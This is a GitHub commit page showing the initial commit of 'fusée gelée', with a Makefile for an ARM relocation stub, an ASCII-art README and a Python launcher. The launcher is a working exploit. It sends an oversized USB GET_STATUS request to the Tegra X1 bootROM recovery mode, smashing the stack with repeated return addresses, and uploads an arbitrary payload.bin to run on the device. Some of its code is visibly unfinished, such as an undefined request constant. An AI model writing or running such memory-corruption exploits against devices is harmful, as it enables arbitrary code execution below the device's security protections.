Permalink
Browse files

accelerate the timeline a little ( ͡° ͜ʖ ͡°)

  • Loading branch information...
ktemkin committed Apr 23, 2018
0 parents commit 04fdffe27b4ea5e873a5fdcaa98cf8e236826155
@@ -0,0 +1,60 @@

CROSS_COMPILE = arm-none-eabi-

# Use our cross-compile prefix to set up our basic cross compile environment.
CC = $(CROSS_COMPILE)gcc
LD = $(CROSS_COMPILE)ld
OBJCOPY = $(CROSS_COMPILE)objcopy

CFLAGS = \
-mtune=arm7tdmi \
-mlittle-endian \
-fno-stack-protector \
-fno-common \
-fno-builtin \
-ffreestanding \
-std=gnu99 \
-Werror \
-Wall \
-Wno-error=unused-function \
-fomit-frame-pointer \
-g \
-Os \

LDFLAGS =

all: intermezzo.bin

# The start of the BPMP IRAM.
START_OF_IRAM := 0x40000000

# The address to which Intermezzo is to be loaded by the payload launcher.
INTERMEZZO_ADDRESS := 0x4001F000

# The address we want the final payload to be located at.
RELOCATION_TARGET := 0x40010000

# The addrss and length of the data loaded by f-g.
LOAD_BLOCK_START := 0x40020000
LOAD_BLOCK_LENGTH := 0x20000

# Provide the definitions used in the intermezzo stub.
DEFINES := \
-DSTART_OF_IRAM=$(START_OF_IRAM) \
-DRELOCATION_TARGET=$(RELOCATION_TARGET) \
-DLOAD_BLOCK_START=$(LOAD_BLOCK_START) \
-DLOAD_BLOCK_LENGTH=$(LOAD_BLOCK_LENGTH) \

intermezzo.elf: intermezzo.o
$(LD) -T intermezzo.lds --defsym LOAD_ADDR=$(INTERMEZZO_ADDRESS) $(LDFLAGS) $^ -o $@

intermezzo.o: intermezzo.S
$(CC) $(CFLAGS32) $(DEFINES) $< -c -o $@

%.bin: %.elf
$(OBJCOPY) -v -O binary $< $@

clean:
rm -f *.o *.elf *.bin

.PHONY: all clean
@@ -0,0 +1,50 @@


* .--.
/ / `
+ | |
' \ \__,
* + '--' *
+ /\
+ .' '. *
* /======\ +
;:. _ ;
|:. (_) |
|:. _ |
+ |:. (_) | *
;:. ;
.' \:. / `.
/ .-'':._.'`-. \
|/ /||\ \|
_..--"""````"""--.._
_.-'`` ``'-._
-' '-
__ __ _ _ _ _
/ / \ \ (_) | | | | |
| |_ __ ___| | _____ ___| |_ ___| |__ ___ __| |
/ /| '__/ _ \\ \/ __\ \ /\ / / | __/ __| '_ \ / _ \/ _` |
\ \| | | __// /\__ \\ V V /| | || (__| | | | __/ (_| |
| |_| \___| | |___/ \_/\_/ |_|\__\___|_| |_|\___|\__,_|
\_\ /_/
/====================================================\
/======================================================\
|| fusée gelée ||
|| ||
|| Launcher for the {re}switched cold/bootrom hacks-- ||
|| launches payloads above the Horizon ||
|| ||
|| discovery and implementation by @ktemkin ||
|| def. independently discovered by lots of others <3 ||
|| ||
|| special thanks to: ||
|| SciresM, motezazer -- guidance and support ||
|| hedgeberg, andeor -- dumping the Jetson bootROM ||
|| TuxSH -- for IDB notes that were ||
|| super nice to peek at ||
|| the team -- y'all are awesome ||
|| other teams -- y'all are awesome too! ||
\======================================================/
\====================================================/


The main launcher is "fusee-launcher.py".
@@ -0,0 +1,174 @@
#!/usr/bin/env python3
#
# fusée gelée
#
# Launcher for the {re}switched coldboot/bootrom hacks--
# launches payloads above the Horizon
#
# discovery and implementation by @ktemkin
# likely independently discovered by lots of others <3
#
# special thanks to:
# SciresM, motezazer -- guidance and support
# hedgeberg, andeor -- dumping the Jetson bootROM
# TuxSH -- for IDB notes that were nice to peek at
#

import usb
import time


# notes:
# GET_CONFIGURATION to the DEVICE triggers memcpy from 0x40003982
# GET_INTERFACE to the INTERFACE triggers memcpy from 0x40003984
# GET_STATUS to the INTERFACE triggers memcpy from <on the stack>

class RCMHax:

# FIXME: these are the jetson's; replace me with the Switch's
SWITCH_RCM_VID = 0x0955
SWITCH_RCM_PID = 0X7321

# USB constants used
STANDARD_REQUEST_DEVICE_TO_HOST_TO_DEVICE = 0x80
STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT = 0x82
GET_DESCRIPTOR = 0x6
GET_CONFIGURATION = 0x8

# Interface requests
GET_STATUS = 0x0

# Exploit specifics
COPY_START_ADDRESS = 0x40003982
COPY_BUFFER_ADDRESSES = [0x40005000, 0x40009000]
STACK_END = 0x40010000

def __init__(self):
""" Set up our RCM hack connection."""

# The first write into the bootROM touches the lowbuffer.
self.current_buffer = 0

# Grab a connection to the USB device itself.
self.dev = usb.core.find(idVendor=self.SWITCH_RCM_VID, idProduct=self.SWITCH_RCM_PID)

# Keep track of the total amount written.
self.total_written = 0

if self.dev is None:
raise IOError("No Switch found?")

def get_device_descriptor(self):
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST, self.GET_DESCRIPTOR, 1 << 8, 0, 18)

def read(self, length):
""" Reads data from the RCM protocol endpoint. """
return self.dev.read(0x81, length, 1000)


def write(self, data):
""" Writes data to the main RCM protocol endpoint. """

length = len(data)
packet_size = 0x1000

while length:
data_to_transmit = min(length, packet_size)
length -= data_to_transmit

chunk = data[:data_to_transmit]
data = data[data_to_transmit:]
self.write_single_buffer(chunk)


def write_single_buffer(self, data):
"""
Writes a single RCM buffer, which should be 0x1000 long.
The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512).
If it's not, send a ZLP.
"""
self._toggle_buffer()
return self.dev.write(0x01, data, 1000)


def _toggle_buffer(self):
"""
Toggles the active target buffer, paralleling the operation happening in
RCM on the X1 device.
"""
self.current_buffer = 1 - self.current_buffer


def get_current_buffer_address(self):
""" Returns the base address for the current copy. """
return self.COPY_BUFFER_ADDRESSES[self.current_buffer]


def read_device_id(self):
""" Reads the Device ID via RCM. Only valid at the start of the communication. """
return self.read(16)


def switch_to_highbuf(self):
""" Switches to the higher RCM buffer, reducing the amount that needs to be copied. """

if switch.get_current_buffer_address() != self.COPY_BUFFER_ADDRESSES[1]:
switch.write(smash_buffer)


def trigger_controlled_memcpy(self, length=None):
""" Triggers the RCM vulnerability, causing it to make a signficantly-oversized memcpy. """

# Determine how much we'd need to transmit to smash the full stack.
if length is None:
length = self.STACK_END - self.get_current_buffer_address()

return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, self.GET_STATUS, 0, 0, length)



# Get a connection to our device
switch = RCMHax()
print("Switch device id: {}".format(switch.read_device_id()))

# Prefix the image with an RCM command, so it winds up loaded into memory
# at the right location (0x40010000).

# Use the maximum length so we can transmit as much payload as we want;
# we'll take over before we get to the end.
length = 0x30298
payload = length.to_bytes(4, byteorder='little')

# pad out to 680 so the payload starts at the right address in IRAM
payload += b'\0' * (680 - len(payload))

# for now, populate from [0x40010000, 0x40020000) with the payload address,
# ensuring we smash the stack properly; we can pull this down once we figure
# out the stack frame we're actually in for sure
print("Setting ourselves up to smash the stack...")
payload_location = 0x40020000
payload_location_raw = payload_location.to_bytes(4, byteorder='little')
payload += (payload_location_raw * 16384) # TODO: remove this magic number

# read the payload into memory
with open("payload.bin", "rb") as f:
payload += f.read()

# pad the payload to fill a request exactly
payload_length = len(payload)
padding_size = 0x1000 - (payload_length % 0x1000)
payload += (b'\0' * padding_size)

# send the payload
print("Uploading payload...")
switch.write(payload)

# smash less as a first test
print("Smashing the stack...")
switch.switch_to_highbuf()

try:
switch.trigger_controlled_memcpy()
except IOError:
print("The USB device stopped responding-- sure smells like we've smashed its stack. :)")

Oops, something went wrong.

1 comment on commit 04fdffe

@moriczgergo

This comment has been minimized.

Copy link
Contributor

moriczgergo commented on 04fdffe Apr 27, 2018

:lenny:

Please sign in to comment.